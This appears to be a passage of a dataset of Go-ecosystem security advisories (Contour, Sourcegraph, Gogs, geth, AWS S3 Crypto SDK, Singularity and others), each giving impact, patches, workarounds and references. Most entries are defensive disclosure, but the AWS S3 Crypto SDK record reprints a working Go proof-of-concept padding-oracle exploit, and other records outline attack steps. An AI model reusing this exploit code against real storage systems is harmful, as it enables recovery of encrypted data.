- When ExternalName Services are enabled, block obvious "localhost" entries.
#### Disable ExternalName type Services by default
This change prohibits processing of ExternalName services unless the cluster operator specifically allows them using the new `--enable-externalname` flag or equivalent configuration file setting. This is a breaking change for previous versions of Contour, which is unfortunate, but necessary because of the severity of the information exposed in this advisory.
#### Block obvious `localhost` entries for enabled ExternalName Services
As part of this change set, we have added a filter in the event that operators *do* enable ExternalName Services, such that obvious `localhost` entries are rejected by Contour.
There are a number of problems with this method, however:
- This is a porous control. As long as you control a domain name, it's trivially easy to add a DNS entry for any name you like that redirects to `127.0.0.1` or `::1`. Contour even provides `local.projectcontour.io` ourselves for testing and example purposes. (This name is, of course, included in the "obvious localhost entries" list.) So we can never totally stop this exploit as long as the admin interface is accessible on localhost, which, according to envoyproxy/envoy#2763, will be for some time if not forever. The best we can do is block some obvious elements, but this is always a risk for a motivated attacker.
- We've actually suggested using `localhost` ExternalName Services in the past, to allow people to connect to sidecar External Authentication services in their cluster. Both of these changes break this use-case, but given that it's about something that has security requirements high enough to require authentication, it's important to ensure that people are opting in. For the External Auth sidecar case, we are investigating an update to ExtensionService that will help with the sidecar use case.
### Workarounds
Not easily. It's not possible to control the creation of ExternalName Services with RBAC without the use of Gatekeeper or other form of admission control, and the creation of services is required for Contour to actually work for application developer personas.
### For more information
Exploit code will be published at a later date for this vulnerability, once our users have had a chance to upgrade. | {'CVE-2021-32783'} | 2021-08-30T16:53:38Z | 2021-08-30T17:22:10Z | HIGH | null | {'CWE-610'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-32783', 'https://github.com/projectcontour/contour/releases/tag/v1.16.1', 'https://github.com/projectcontour/contour/releases/tag/v1.14.2', 'https://github.com/projectcontour/contour/commit/5f3e6d0ab1d48e64bae46400c85c490b200393a3', 'https://github.com/projectcontour/contour/releases/tag/v1.17.1', 'https://github.com/projectcontour/contour/security/advisories/GHSA-5ph6-qq5x-7jwc', 'https://github.com/projectcontour/contour/commit/b53a5c4fd927f4ea2c6cf02f1359d8e28bef852e', 'https://github.com/projectcontour/contour/releases/tag/v1.15.2'} | null |
Go | GHSA-mx43-r985-5h4m | Open redirect vulnerability in Sourcegraph | ### Impact
An open redirect vulnerability that allows users to be targeted for phishing attacks has been found in Sourcegraph instances configured with OAuth, OpenID, or SAML authentication enabled. Users targeted by these phishing attacks could have their authentication tokens silently harvested by an attacker.
### Resolution
Sourcegraph v3.14.4 and v3.15.1 have been released which resolve the vulnerability. ([associated change](https://github.com/sourcegraph/sourcegraph/pull/10167))
### Workarounds
Disabling OAuth, OpenID and/or SAML sign-in options until upgraded to the patched versions will secure Sourcegraph / workaround the issue.
### Timeline
- Apr 23, 8 AM PST: GitHub Security Lab reported the issue to Sourcegraph.
- Apr 23, 11 PM PST: A Sourcegraph engineer proposed a resolution for the vulnerability. https://github.com/sourcegraph/sourcegraph/pull/10167
- Apr 24, 3 AM PST: The proposed resolution was reviewed, approved, and merged.
- Apr 28, 2 PM PST: Patch releases for 3.14.4 and 3.15.1 were published.
- Apr 29, 10 PM PST: Mitre publicly disclosed [CVE-2020-12283](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12283).
- Apr 30, 11 AM PST: Sourcegraph issued a GitHub security advisory and notified all affected users.
### References
- [Mitre: CVE-2020-12283](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12283)
- [GitHub Security Lab: GHSL-2020-085](https://securitylab.github.com/advisories/GHSL-2020-085-sourcegraph)
- [detectify's blog post on open redirect vulnerabilities
](https://blog.detectify.com/2019/05/16/the-real-impact-of-an-open-redirect/)
### For more information
If you have any questions or comments about this advisory, please contact us at [support@sourcegraph.com](mailto:support@sourcegraph.com) and include `CVE-2020-12283` in the title. | {'CVE-2020-12283'} | 2021-12-09T19:40:01Z | 2021-12-20T18:12:47Z | MODERATE | null | {'CWE-601'} | {'https://github.com/sourcegraph/sourcegraph', 'https://securitylab.github.com/advisories/GHSL-2020-085-sourcegraph', 'https://github.com/sourcegraph/sourcegraph/blob/master/CHANGELOG.md', 'https://github.com/sourcegraph/sourcegraph/commit/c0f48172e815c7f66471a38f0a06d1fc32a77a64', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-mx43-r985-5h4m', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12283', 'https://github.com/sourcegraph/sourcegraph/compare/v3.15.0...v3.15.1', 'https://github.com/sourcegraph/sourcegraph/pull/10167'} | null |
Go | GHSA-g6xv-8q23-w2q3 | SQL Injection in Gogs | Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go. | {'CVE-2014-8682'} | 2021-05-20T16:59:51Z | 2021-06-29T18:32:48Z | HIGH | null | {'CWE-89'} | {'http://seclists.org/fulldisclosure/2014/Nov/31', 'https://github.com/gogits/gogs/releases/tag/v0.5.8', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/98694', 'http://www.securityfocus.com/archive/1/533995/100/0/threaded', 'http://packetstormsecurity.com/files/129117/Gogs-Repository-Search-SQL-Injection.html', 'http://www.exploit-db.com/exploits/35238', 'https://www.exploit-db.com/exploits/35238', 'https://nvd.nist.gov/vuln/detail/CVE-2014-8682', 'http://gogs.io/docs/intro/change_log.html', 'http://seclists.org/fulldisclosure/2014/Nov/33', 'https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d', 'http://www.securityfocus.com/bid/71187', 'http://packetstormsecurity.com/files/129116/Gogs-Label-Search-Blind-SQL-Injection.html'} | null |
Go | GHSA-gh32-pc56-4c96 | Information Exposure in jaegar | Sensitive information written to a log file vulnerability was found in jaegertracing/jaeger before version 1.18.1 when the Kafka data store is used. This flaw allows an attacker with access to the container's log file to discover the Kafka credentials. | {'CVE-2020-10750'} | 2021-05-12T14:55:16Z | 2021-05-18T18:35:02Z | LOW | null | {'CWE-532', 'CWE-200'} | {'https://github.com/jaegertracing/jaeger/releases/tag/v1.18.1', 'https://github.com/jaegertracing/jaeger/commit/360c38bec3f9718ebba7ddbf0b409b05995f3ace', 'https://bugzilla.redhat.com/show_bug.cgi?id=1838401', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10750', 'https://nvd.nist.gov/vuln/detail/CVE-2020-10750'} | null |
Go | GO-2021-0076 | null | A malicious JSON patch can cause a panic due to an out-of-bounds
write attempt. This can be used as a denial of service vector if
exposed to arbitary user input.
| {'CVE-2018-14632'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/evanphx/json-patch/pull/57', 'https://github.com/evanphx/json-patch/commit/4c9aadca8f89e349c999f04e28199e96e81aba03'} | null |
Go | GO-2021-0099 | null | Due to improper path validation, using the github.com/deislabs/oras/pkg/content.FileStore
content store may result in directory traversal during archive extraction, allowing a
malicious archive to write paths to arbitary paths that the process can write to.
| {'CVE-2021-21272'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/deislabs/oras/security/advisories/GHSA-g5v4-5x39-vwhx', 'https://github.com/deislabs/oras/commit/96cd90423303f1bb42bd043cb4c36085e6e91e8e'} | null |
Go | GHSA-69v6-xc2j-r2jf | Shallow copy bug in geth | ### Impact
This is a Consensus vulnerability, which can be used to cause a chain-split where vulnerable nodes reject the canonical chain.
Geth’s pre-compiled `dataCopy` (at `0x00...04`) contract did a shallow copy on invocation. An attacker could deploy a contract that
- writes `X` to an EVM memory region `R`,
- calls `0x00..04` with `R` as an argument,
- overwrites `R` to `Y`,
- and finally invokes the `RETURNDATACOPY` opcode.
When this contract is invoked, a consensus-compliant node would push `X` on the EVM stack, whereas Geth would push `Y`.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)
* Email us at [security@ethereum.org](mailto:security@ethereum.org) | {'CVE-2020-26241'} | 2021-05-21T21:51:49Z | 2021-06-29T21:13:01Z | MODERATE | null | {'CWE-682'} | {'https://github.com/ethereum/go-ethereum/commit/295693759e5ded05fec0b2fb39359965b60da785', 'https://github.com/ethereum/go-ethereum/security/advisories/GHSA-69v6-xc2j-r2jf', 'https://blog.ethereum.org/2020/11/12/geth_security_release/', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26241'} | null |
Go | GHSA-ppj4-34rq-v8j9 | regular expression denial of service in gjson | GJSON is a Go package that provides a fast and simple way to get values from a json document. GJSON before 1.9.3 allows a ReDoS (regular expression denial of service) attack. | {'CVE-2021-42836'} | 2022-05-04T03:43:44Z | 2021-10-25T19:43:15Z | HIGH | null | {'CWE-1333', 'CWE-400', 'CWE-697'} | {'https://github.com/tidwall/gjson/commit/590010fdac311cc8990ef5c97448d4fec8f29944', 'https://github.com/tidwall/gjson', 'https://github.com/tidwall/gjson/issues/237', 'https://github.com/tidwall/gjson/commit/77a57fda87dca6d0d7d4627d512a630f89a91c96', 'https://github.com/tidwall/gjson/issues/236', 'https://github.com/tidwall/gjson/compare/v1.9.2...v1.9.3', 'https://nvd.nist.gov/vuln/detail/CVE-2021-42836'} | null |
Go | GHSA-28r6-jm5h-mrgg | Access control bypass in Beego | An issue was discovered in the route lookup process in beego through 2.0.1, allows attackers to bypass access control. | {'CVE-2021-30080'} | 2022-04-07T18:13:46Z | 2022-04-06T00:01:30Z | HIGH | null | null | {'https://nvd.nist.gov/vuln/detail/CVE-2021-30080', 'https://github.com/beego/beego/commit/d5df5e470d0a8ed291930ae802fd7e6b95226519', 'https://github.com/beego/beego'} | null |
Go | GHSA-9jcx-pr2f-qvq5 | Denial of Service (DoS) | An issue was discovered in setTA in scan_rr.go in the Miek Gieben DNS library before 1.0.10 for Go. A dns.ParseZone() parsing error causes a segmentation violation, leading to denial of service. | {'CVE-2018-17419'} | 2021-05-11T00:44:23Z | 2021-05-18T18:34:25Z | HIGH | null | {'CWE-400'} | {'https://nvd.nist.gov/vuln/detail/CVE-2018-17419', 'https://github.com/miekg/dns/commit/501e858f679edecd4a38a86317ce50271014a80d', 'https://github.com/miekg/dns/issues/742'} | null |
Go | GHSA-7jr6-prv4-5wf5 | Credential leak in Helm | Helm is a tool for managing Charts (packages of pre-configured Kubernetes resources). In versions of helm prior to 3.6.1, a vulnerability exists where the username and password credentials associated with a Helm repository could be passed on to another domain referenced by that Helm repository. This issue has been resolved in 3.6.1. There is a workaround through which one may check for improperly passed credentials. One may use a username and password for a Helm repository and may audit the Helm repository in order to check for another domain being used that could have received the credentials. In the `index.yaml` file for that repository, one may look for another domain in the `urls` list for the chart versions. If there is another domain found and that chart version was pulled or installed, the credentials would be passed on. | {'CVE-2021-32690'} | 2021-06-18T18:34:04Z | 2021-06-23T18:14:31Z | MODERATE | null | {'CWE-200'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-32690', 'https://github.com/helm/helm/releases/tag/v3.6.1', 'https://github.com/helm/helm/security/advisories/GHSA-56hp-xqp3-w2jf'} | null |
Go | GO-2020-0046 | null | Due to a nil pointer dereference, a malformed XML Digital Signature
can cause a panic during validation. If user supplied signatures are
being validated, this may be used as a denial of service vector.
| {'CVE-2020-7711'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/russellhaering/goxmldsig/issues/48', 'https://github.com/russellhaering/gosaml2/issues/59'} | null |
Go | GHSA-9856-9gg9-qcmq | Consensus flaw during block processing | ### Impact
A vulnerability in the Geth EVM could cause a node to reject the canonical chain.
### Description
A memory-corruption bug within the EVM can cause a consensus error, where vulnerable nodes obtain a different `stateRoot` when processing a maliciously crafted transaction. This, in turn, would lead to the chain being split in two forks.
All Geth versions supporting the London hard fork are vulnerable (which predates London), so all users should update.
This bug was exploited on Mainnet at block 13107518, leading to a minority chain split.
### Patches
A patch is included in the `v1.10.8` release.
The exact patch to fix the issue is contained within this [commit](https://github.com/ethereum/go-ethereum/pull/23381/commits/4d4879cafd1b3c906fc184a8c4a357137465128f)
### Workarounds
No workarounds exist, save to update and/or apply the patch commit.
### References.
Post-mortem [write-up](https://github.com/ethereum/go-ethereum/blob/master/docs/postmortems/2021-08-22-split-postmortem.md).
### Credits
The bug was found by @guidovranken (working for [Sentnl](https://sentnl.io/) during an audit of the [Telos EVM](https://www.telos.net/evm)) and reported via bounty@ethereum.org.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum/)
* Email us at [security@ethereum.org](mailto:security@ethereum.org)
| {'CVE-2021-39137'} | 2021-09-07T17:41:48Z | 2021-08-30T16:15:41Z | MODERATE | null | {'CWE-436'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-39137', 'https://github.com/ethereum/go-ethereum', 'https://github.com/ethereum/go-ethereum/security/advisories/GHSA-9856-9gg9-qcmq', 'https://github.com/ethereum/go-ethereum/releases/tag/v1.10.8'} | null |
Go | GHSA-vfp4-xx6m-7vf6 | Cryptographic Issues in ECK | Elastic Cloud on Kubernetes (ECK) versions prior to 1.1.0 generate passwords using a weak random number generator. If an attacker is able to determine when the current Elastic Stack cluster was deployed they may be able to more easily brute force the Elasticsearch credentials generated by ECK. | {'CVE-2020-7010'} | 2021-05-13T20:25:19Z | 2022-02-15T01:57:18Z | MODERATE | null | {'CWE-335'} | {'https://www.elastic.co/community/security/', 'https://nvd.nist.gov/vuln/detail/CVE-2020-7010'} | null |
Go | GHSA-q6h7-4qgw-2j9p | Server side request forgery in Hashicorp Consul | A vulnerability was identified in Consul and Consul Enterprise (“Consul”) such that HTTP health check endpoints returning an HTTP redirect may be abused as a vector for server-side request forgery (SSRF). This vulnerability, CVE-2022-29153, was fixed in Consul 1.9.17, 1.10.10, and 1.11.5. | {'CVE-2022-29153'} | 2022-04-28T21:13:56Z | 2022-04-20T00:00:33Z | HIGH | null | {'CWE-918'} | {'https://discuss.hashicorp.com/t/hcsec-2022-10-consul-s-http-health-check-may-allow-server-side-request-forgery/38393', 'https://github.com/hashicorp/consul', 'https://nvd.nist.gov/vuln/detail/CVE-2022-29153'} | null |
Go | GO-2020-0011 | null | When decrypting JsonWebEncryption objects with multiple recipients
or JsonWebSignature objects with multiple signatures the Decrypt
and Verify methods do not indicate which recipient or signature was
valid. This may lead a caller to rely on protected headers from an
invalid recipient or signature.
| {'CVE-2016-9122'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://www.openwall.com/lists/oss-security/2016/11/03/1', 'https://github.com/square/go-jose/commit/2c5656adca9909843c4ff50acf1d2cf8f32da7e6'} | null |
Go | GHSA-7f33-f4f5-xwgw | In-band key negotiation issue in AWS S3 Crypto SDK for golang | ### Summary
The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the GCM option was chosen as content cipher.
### Risk/Severity
The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.
### Impact
This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.
V1 prior to 1.34.0 of the S3 crypto SDK does not authenticate the algorithm parameters for the data encryption key.
An attacker with write access to the bucket can use this in order to change the encryption algorithm of an object in the bucket, which can lead to problems depending on the supported algorithms. For example, a switch from AES-GCM to AES-CTR in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation.
By default, the only available algorithms in the SDK are AES-GCM and AES-CBC. Switching the algorithm from AES-GCM to AES-CBC can be used as way to reconstruct the plaintext through an oracle endpoint revealing decryption failures, by brute forcing 16 byte chunks of the plaintext. Note that the plaintext needs to have some known structure for this to work, as a uniform random 16 byte string would be the same as a 128 bit encryption key, which is considered cryptographically safe.
The attack works by taking a 16 byte AES-GCM encrypted block guessing 16 bytes of plaintext, constructing forgery that pretends to be PKCS5 padded AES-CBC, using the ciphertext and the plaintext guess and that will decrypt to a valid message if the guess was correct.
To understand this attack, we have to take a closer look at both AES-GCM and AES-CBC:
AES-GCM encrypts using a variant of CTR mode, i.e. `C_i = AES-Enc(CB_i) ^ M_i`. AES-CBC on the other hand *decrypts* via `M_i = AES-Dec(C_i) ^ C_{i-1}`, where `C_{-1} = IV`. The padding oracle can tell us if, after switching to CBC mode, the plaintext recovered is padded with a valid PKCS5 padding.
Since `AES-Dec(C_i ^ M_i) = CB_i`, if we set `IV' = CB_i ^ 0x10*[16]`, where `0x10*[16]` is the byte `0x10` repeated 16 times, and `C_0' = C_i ^ M_i'` the resulting one block message `(IV', C_0')` will have valid PKCS5 padding if our guess `M_i'` for `M_i` was correct, since the decrypted message consists of 16 bytes of value `0x10`, the PKCS5 padded empty string.
Note however, that an incorrect guess might also result in a valid padding, if the AES decryption result randomly happens to end in `0x01`, `0x0202`, or a longer valid padding. In order to ensure that the guess was indeed correct, a second check using `IV'' = IV' ^ (0x00*[15] || 0x11)` with the same ciphertext block has to be performed. This will decrypt to 15 bytes of value `0x10` and one byte of value `0x01` if our initial guess was correct, producing a valid padding. On an incorrect guess, this second ciphertext forgery will have an invalid padding with a probability of 1:2^128, as one can easily see.
This issue is fixed in V2 of the API, by using the `KMS+context` key wrapping scheme for new files, authenticating the algorithm. Old files encrypted with the `KMS` key wrapping scheme remain vulnerable until they are reencrypted with the new scheme.
### Mitigation
Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with GCM mode and use the `KMS` key wrapping option.
### Proof of concept
A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository.
This particular issue is described in [combined_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/combined_oracle_exploit.go):
```golang
func CombinedOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/GCM/NoPadding" {
return "", fmt.Errorf("Algorithm is %q, not GCM!", alg)
}
gcmIv, err := base64.StdEncoding.DecodeString(header.Get("X-Amz-Meta-X-Amz-Iv"))
if len(gcmIv) != 12 {
return "", fmt.Errorf("GCM IV is %d bytes, not 12", len(gcmIv))
}
fullIv := make([]byte, 16)
confirmIv := make([]byte, 16)
for i := 0; i < 12; i++ {
fullIv[i] = gcmIv[i] ^ 0x10
confirmIv[i] = gcmIv[i] ^ 0x10
}
// Set i to the block we want to attempt to decrypt
counter := i + 2
for j := 15; j >= 12; j-- {
v := byte(counter % 256)
fullIv[j] = 0x10 ^ v
confirmIv[j] = 0x10 ^ v
counter /= 256
}
confirmIv[15] ^= 0x11
fullIvEnc := base64.StdEncoding.EncodeToString(fullIv)
confirmIvEnc := base64.StdEncoding.EncodeToString(confirmIv)
success := false
// Set plaintextGuess to the guess for the plaintext of this block
newData := []byte(plaintextGuess)
for j := 0; j < 16; j++ {
newData[j] ^= data[16*i+j]
}
newHeader := header.Clone()
newHeader.Set("X-Amz-Meta-X-Amz-Cek-Alg", "AES/CBC/PKCS5Padding")
newHeader.Set("X-Amz-Meta-X-Amz-Iv", fullIvEnc)
newHeader.Set("X-Amz-Meta-X-Amz-Unencrypted-Content-Length", "16")
input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader)
if input.Oracle(bucket, key+"guess") {
newHeader.Set("X-Amz-Meta-X-Amz-Iv", confirmIvEnc)
input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader)
if input.Oracle(bucket, key+"guess") {
return plaintextGuess, nil
}
}
return "", fmt.Errorf("Block %d could not be decrypted", i)
}
``` | {'CVE-2020-8912'} | 2021-05-24T18:08:44Z | 2022-02-11T23:23:13Z | LOW | null | {'CWE-327'} | {'https://bugzilla.redhat.com/show_bug.cgi?id=1869801', 'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4', 'https://aws.amazon.com/blogs/developer/updates-to-the-amazon-s3-encryption-client/?s=09', 'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8912', 'https://github.com/google/security-research/security/advisories/GHSA-7f33-f4f5-xwgw', 'https://github.com/aws/aws-sdk-go/pull/3403'} | null |
Go | GHSA-6cp7-g972-w9m9 | Use of a Key Past its Expiration Date and Insufficient Session Expiration in Maddy Mail Server | ### Impact
Any configuration on any maddy version <0.5.4 using auth.pam is affected.
No password expiry or account expiry checking is done when authenticating using PAM.
### Patches
Patch is available as part of the 0.5.4 release.
### Workarounds
If /etc/shadow authentication is used, it is possible to replace auth.pam with auth.shadow which is not affected.
It is possible to blacklist expired accounts via existing filtering mechanisms (e.g. auth_map to invalid accounts in storage.imapsql).
### References
* https://github.com/foxcpp/maddy/blob/3412e59a2c92106e194fa69f2f1017c020037c9c/internal/auth/pam/pam.c
* https://linux.die.net/man/3/pam_acct_mgmt
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/foxcpp/maddy
* Email fox.cpp@disroot.org
| {'CVE-2022-24732'} | 2022-03-18T20:12:30Z | 2022-03-07T16:59:31Z | MODERATE | null | {'CWE-324', 'CWE-613'} | {'https://github.com/foxcpp/maddy/security/advisories/GHSA-6cp7-g972-w9m9', 'https://github.com/foxcpp/maddy/releases/tag/v0.5.4', 'https://github.com/foxcpp/maddy', 'https://github.com/foxcpp/maddy/commit/7ee6a39c6a1939b376545f030a5efd6f90913583', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24732'} | null |
Go | GO-2021-0109 | null | Due to improper error handling, an error with the underlying token storage may cause a user
to believe a token has been successfully revoked when it is in fact still valid. An attackers
ability to exploit this relies on an ability to trigger errors in the underlying storage.
| {'CVE-2020-15223'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/ory/fosite/commit/03dd55813f5521985f7dd64277b7ba0cf1441319', 'https://github.com/advisories/GHSA-7mqr-2v3q-v2wm'} | null |
Go | GHSA-2v6v-q994-xvxx | Privilege escalation in beego | beego is an open-source, high-performance web framework for the Go programming language. An issue was discovered in file profile.go in function GetCPUProfile in beego through 2.0.2, allows attackers to launch symlink attacks locally. | {'CVE-2021-27117'} | 2022-04-15T03:08:35Z | 2022-04-06T00:01:30Z | HIGH | null | {'CWE-59'} | {'https://github.com/beego/beego/issues/4484', 'https://nvd.nist.gov/vuln/detail/CVE-2021-27117', 'https://github.com/beego/beego'} | null |
Go | GHSA-hmm9-r2m2-qg9w | Nil dereference in NATS JWT, DoS of nats-server | (This advisory is canonically <https://advisories.nats.io/CVE/CVE-2020-26521.txt>)
## Problem Description
The NATS account system has an Operator trusted by the servers, which signs Accounts, and each Account can then create and sign Users within their account. The Operator should be able to safely issue Accounts to other entities which it does not fully trust.
A malicious Account could create and sign a User JWT with a state not created by the normal tooling, such that decoding by the NATS JWT library (written in Go) would attempt a nil dereference, aborting execution.
The NATS Server is known to be impacted by this.
## Affected versions
#### JWT library
* all versions prior to 1.1.0
#### NATS Server
* Version 2 prior to 2.1.9
## Impact
#### JWT library
* Programs would nil dereference and panic, aborting execution by default.
#### NATS server
* Denial of Service caused by process termination
## Workaround
If your NATS servers do not trust any accounts which are managed by untrusted entities, then malformed User credentials are unlikely to be encountered.
## Solution
Upgrade the JWT dependency in any application using it.
Upgrade the NATS server if using NATS Accounts. | null | 2021-05-20T21:18:45Z | 2021-05-21T16:22:10Z | LOW | null | {'CWE-476'} | {'https://github.com/nats-io/nats-server/security/advisories/GHSA-hmm9-r2m2-qg9w'} | null |
Go | GO-2020-0007 | null | Filters containing rules with multiple syscall arguments are improperly
constructed, such that all arguments are required to match rather than
any of the arguments (AND is used rather than OR). These filters can be
bypassed by only specifying a subset of the arguments due to this
behavior.
| {'CVE-2017-18367'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/seccomp/libseccomp-golang/commit/06e7a29f36a34b8cf419aeb87b979ee508e58f9e'} | null |
Go | GHSA-6c73-2v8x-qpvm | Argo Server TLS requests could be forged by attacker with network access | ### Impact
We are not aware of any exploits. This is a pro-active fix.
Impacted:
* You are running Argo Server < v3.0 with `--secure=true` or >= v3.0 with `--secure` unspecified (note - running in secure mode is recommended regardless).
* The attacker is within your network. If you expose Argo Server to the Internet then "your network" is "the Internet".
The Argo Server's keys are packaged within the image. They could be extracted and used to decrypt traffic, or forge requests.
### Patches
https://github.com/argoproj/argo-workflows/pull/6540
### Workarounds
* Make sure that your Argo Server service or pod are not directly accessible outside of your cluster. Put TLS load balancer in front of it.
This was identified by engineers at Jetstack.io | null | 2021-08-23T17:02:24Z | 2021-08-23T19:41:30Z | MODERATE | null | null | {'https://github.com/argoproj/argo-workflows/security/advisories/GHSA-6c73-2v8x-qpvm'} | null |
Go | GHSA-47wr-426j-fr82 | Symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations in dbdeployer | ### Impact
_Users unpacking a tarball through dbdeployer may use a maliciously packaged tarball that contains symlinks to files external to the target. In such scenario, an attacker could induce dbdeployer to write into a system file, thus altering the computer defences._
### Mitigating factors
For the attach to succeed, the following factors need to contribute:
* The user is logged in as root. While dbdeployer is usable as root, it was designed to run as unprivileged user.
* The user has taken a tarball from a non secure source, without testing the checksum. When the tarball is retrieved through dbdeployer, the checksum is compared before attempting to unpack.
### Analysis
An attacker could inject a symbolic link into the tarball, so that a file could result into `fake_file -> /etc/passwd` or some equally important file.
As it is now, dbdeployer would create the symlink as defined, with a local file `fake_file` linked to `/etc/passwd`. The danger here is that any process with the privileges to write to both `fake_file` and `/etc/passwd` could overwrite the system file. Even without malicious intent, this could result in the system to become unusable.
As noted above, the user must have write privileges to the target file to do the damage.
### Remedies
It has been suggested that the extract procedure use `filepath.EvalSymlinks` to determine whether the target is within the extraction directory. Unfortunately, this approach is unavailable in this context, because it would prevent legitimate patterns from being carried out.
A simple case is a file `mysql-8.0.22-macos10.15-x86_64/bin/libprotobuf-lite.3.11.4.dylib` with a linkName `../lib/libprotobuf-lite.3.11.4.dylib`, if the linked file has not been created yet, `filepath.EvalSymlinks` would fail, as it acts on existing files only.
An alternative method is comparing the depth (how many directories) of the file name with the depth of the link name. If the link name has a higher depth than the local file, we block the operation with an appropriate error:
```
Unpacking tarball exploit/mysql-8.0.22-macos10.15-x86_64.tar.gz to $HOME/opt/mysql/test8.0.22
......
link '../../../../../../../../../../etc' points outside target directory
exit status 1
```
As an additional fortifier, we can check whether the link points to an existing file, calculate its absolute name, and compare it with the absolute name of the extraction directory. A link to a full path (such as `/etc/passwd`) would fail this test, and trigger an error.
The same check can be applied to a link to a non existing file with absolute path.
### Patches
Patched in release 1.58.2
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [dbdeployer](https://github.com/datacharmer/dbdeployer) | {'CVE-2020-26277'} | 2021-05-21T18:35:39Z | 2022-02-12T00:14:07Z | MODERATE | null | {'CWE-59'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-26277', 'https://github.com/datacharmer/dbdeployer/commit/548e256c1de2f99746e861454e7714ec6bc9bb10', 'https://github.com/datacharmer/dbdeployer/security/advisories/GHSA-47wr-426j-fr82'} | null |
Go | GHSA-7gcp-w6ww-2xv9 | Path traversal and files overwrite with unsquashfs in singularity | ### Impact
Due to insecure handling of path traversal and the lack of path sanitization within `unsquashfs` (a distribution provided utility used by Singularity), it is possible to overwrite/create any files on the host filesystem during the extraction of a crafted squashfs filesystem.
Squashfs extraction occurs automatically for unprivileged execution of Singularity (either `--without-suid` installation or with `allow setuid = no`) when a user attempts to run an image which:
- is a local SIF image or a single file containing a squashfs filesystem
- is pulled from remote sources `library://` or `shub://`
Image build is also impacted in a more serious way as it is often performed by the root user, allowing an attacker to overwrite/create files leading to a system compromise. Bootstrap methods `library`, `shub` and `localimage` trigger a squashfs extraction.
### Patches
This issue is addressed in Singularity 3.6.4.
All users are advised to upgrade to 3.6.4 especially if they use Singularity mainly for building image as root user.
### Workarounds
There is no solid workaround except to temporarily avoid use of unprivileged mode with single file images, in favor of sandbox images instead. Regarding image build, temporarily avoid building from `library` and `shub` sources, and as much as possible use `--fakeroot` or a VM to limit potential impact.
### For more information
General questions about the impact of the advisory / changes made in the 3.6.0 release can be asked in the:
* [Singularity Slack Channel](https://bit.ly/2m0g3lX)
* [Singularity Mailing List](https://groups.google.com/a/lbl.gov/forum/??sdf%7Csort:date#!forum/singularity)
Any sensitive security concerns should be directed to: security@sylabs.io
See our Security Policy here: https://sylabs.io/security-policy | {'CVE-2020-15229'} | 2021-05-21T22:17:06Z | 2021-05-24T16:59:53Z | HIGH | null | {'CWE-22'} | {'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00070.html', 'https://github.com/hpcng/singularity/commit/eba3dea260b117198fdb6faf41f2482ab2f8d53e', 'https://github.com/hpcng/singularity/security/advisories/GHSA-7gcp-w6ww-2xv9', 'https://github.com/hpcng/singularity/blob/v3.6.4/CHANGELOG.md#security-related-fixes', 'http://lists.opensuse.org/opensuse-security-announce/2020-11/msg00009.html', 'http://lists.opensuse.org/opensuse-security-announce/2020-10/msg00071.html', 'https://github.com/hpcng/singularity/pull/5611', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15229'} | null |
